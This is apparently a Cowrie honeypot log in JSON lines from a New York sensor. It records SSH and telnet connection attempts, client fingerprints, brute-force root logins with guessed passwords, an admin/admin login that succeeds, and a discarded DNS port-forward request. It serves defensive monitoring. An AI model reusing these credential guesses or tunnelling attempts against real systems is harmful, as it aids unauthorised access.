{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":34770,"dst_ip":"10.17.0.5","dst_port":22,"session":"d351d50f7c39","protocol":"ssh","message":"New connection: 109.172.54.111:34770 (10.17.0.5:22) [session: d351d50f7c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:07.292315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:07.301573Z","src_ip":"109.172.54.111","session":"d351d50f7c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:07.437043Z","src_ip":"109.172.54.111","session":"d351d50f7c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44442013vkkv","message":"login attempt [root/44442013vkkv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:07.751307Z","src_ip":"109.172.54.111","session":"d351d50f7c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:08.849903Z","src_ip":"109.172.54.111","session":"d351d50f7c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e8a1ab9ef78","protocol":"telnet","message":"New connection: 69.4.83.194:44734 (159.203.135.109:23) [session: 6e8a1ab9ef78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:16.588284Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":54884,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d101915941f","protocol":"ssh","message":"New connection: 193.37.70.224:54884 (10.17.0.5:22) [session: 3d101915941f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:21.540749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:21.545319Z","src_ip":"193.37.70.224","session":"3d101915941f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.34956932067871,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:21.577404Z","src_ip":"69.4.83.194","session":"a39608e81880","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:21.637237Z","src_ip":"193.37.70.224","session":"3d101915941f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12061992","message":"login attempt [root/12061992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:21.906303Z","src_ip":"193.37.70.224","session":"3d101915941f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:23.036496Z","src_ip":"193.37.70.224","session":"3d101915941f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.70812630653381,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:31.572858Z","src_ip":"69.4.83.194","session":"b024061646e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54712,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed36dcb9249d","protocol":"telnet","message":"New connection: 69.4.83.194:54712 (159.203.135.109:23) [session: ed36dcb9249d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:42.365355Z"}
{"eventid":"cowrie.session.closed","duration":34.29459285736084,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:28:50.882751Z","src_ip":"69.4.83.194","session":"6e8a1ab9ef78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.119012117385864,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:18.484252Z","src_ip":"69.4.83.194","session":"ed36dcb9249d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39148,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cbe7810c2df","protocol":"telnet","message":"New connection: 69.4.83.194:39148 (159.203.135.109:23) [session: 9cbe7810c2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:24.229961Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":43464,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c3275e9be67","protocol":"telnet","message":"New connection: 178.128.93.180:43464 (10.17.0.5:23) [session: 5c3275e9be67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:32.710367Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39606,"dst_ip":"10.17.0.5","dst_port":22,"session":"d173fdeae13e","protocol":"ssh","message":"New connection: 77.94.47.83:39606 (10.17.0.5:22) [session: d173fdeae13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:39.732553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:39.736972Z","src_ip":"77.94.47.83","session":"d173fdeae13e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:39.845351Z","src_ip":"77.94.47.83","session":"d173fdeae13e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max","message":"login attempt [root/max] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.163755Z","src_ip":"77.94.47.83","session":"d173fdeae13e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35374,"dst_ip":"10.17.0.5","dst_port":22,"session":"f32f878d06d8","protocol":"ssh","message":"New connection: 87.251.64.176:35374 (10.17.0.5:22) [session: f32f878d06d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.417695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.422143Z","src_ip":"87.251.64.176","session":"f32f878d06d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.519899Z","src_ip":"87.251.64.176","session":"f32f878d06d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":48444,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff2a5c755048","protocol":"telnet","message":"New connection: 178.128.93.180:48444 (10.17.0.5:23) [session: ff2a5c755048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.800589Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.898661Z","src_ip":"87.251.64.176","session":"f32f878d06d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:40.995331Z","session":"f32f878d06d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:41.091645Z","src_ip":"87.251.64.176","session":"f32f878d06d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:41.189269Z","src_ip":"87.251.64.176","session":"f32f878d06d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:41.272312Z","src_ip":"77.94.47.83","session":"d173fdeae13e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":53186,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcdedb2eb184","protocol":"telnet","message":"New connection: 178.128.93.180:53186 (10.17.0.5:23) [session: bcdedb2eb184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:48.405777Z"}
{"eventid":"cowrie.session.closed","duration":31.31083106994629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:55.540666Z","src_ip":"69.4.83.194","session":"9cbe7810c2df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52274,"dst_ip":"159.203.135.109","dst_port":22,"session":"05a110997732","protocol":"ssh","message":"New connection: 89.108.118.91:52274 (159.203.135.109:22) [session: 05a110997732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:58.516259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:58.520596Z","src_ip":"89.108.118.91","session":"05a110997732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:58.662955Z","src_ip":"89.108.118.91","session":"05a110997732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230383","message":"login attempt [root/230383] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:29:59.089213Z","src_ip":"89.108.118.91","session":"05a110997732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:00.234532Z","src_ip":"89.108.118.91","session":"05a110997732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58236,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c1910f7e54","protocol":"telnet","message":"New connection: 69.4.83.194:58236 (159.203.135.109:23) [session: 72c1910f7e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:14.869799Z"}
{"eventid":"cowrie.session.closed","duration":0.7453038692474365,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:15.614986Z","src_ip":"69.4.83.194","session":"72c1910f7e54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":76.48253345489502,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:49.192807Z","src_ip":"178.128.93.180","session":"5c3275e9be67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.36156988143921,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:52.162081Z","src_ip":"178.128.93.180","session":"ff2a5c755048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.49798464775085,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:54.903698Z","src_ip":"178.128.93.180","session":"bcdedb2eb184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49504,"dst_ip":"159.203.135.109","dst_port":23,"session":"5583b52f9572","protocol":"telnet","message":"New connection: 69.4.83.194:49504 (159.203.135.109:23) [session: 5583b52f9572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:58.789682Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":36094,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ec6313eea6","protocol":"telnet","message":"New connection: 178.128.93.180:36094 (10.17.0.5:23) [session: 05ec6313eea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:58.836581Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":47332,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab7d5dbfbb0","protocol":"ssh","message":"New connection: 43.165.174.224:47332 (159.203.135.109:22) [session: dab7d5dbfbb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:59.125761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:59.129604Z","src_ip":"43.165.174.224","session":"dab7d5dbfbb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:30:59.316159Z","src_ip":"43.165.174.224","session":"dab7d5dbfbb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jane","password":"jane","message":"login attempt [jane/jane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:00.091093Z","src_ip":"43.165.174.224","session":"dab7d5dbfbb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:01.280741Z","src_ip":"43.165.174.224","session":"dab7d5dbfbb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":33560,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46dcfa8e7d1","protocol":"telnet","message":"New connection: 79.139.59.21:33560 (159.203.135.109:23) [session: d46dcfa8e7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:07.423061Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58908,"dst_ip":"159.203.135.109","dst_port":23,"session":"219cd1a33a73","protocol":"telnet","message":"New connection: 69.4.83.194:58908 (159.203.135.109:23) [session: 219cd1a33a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:31:23.714847Z"}
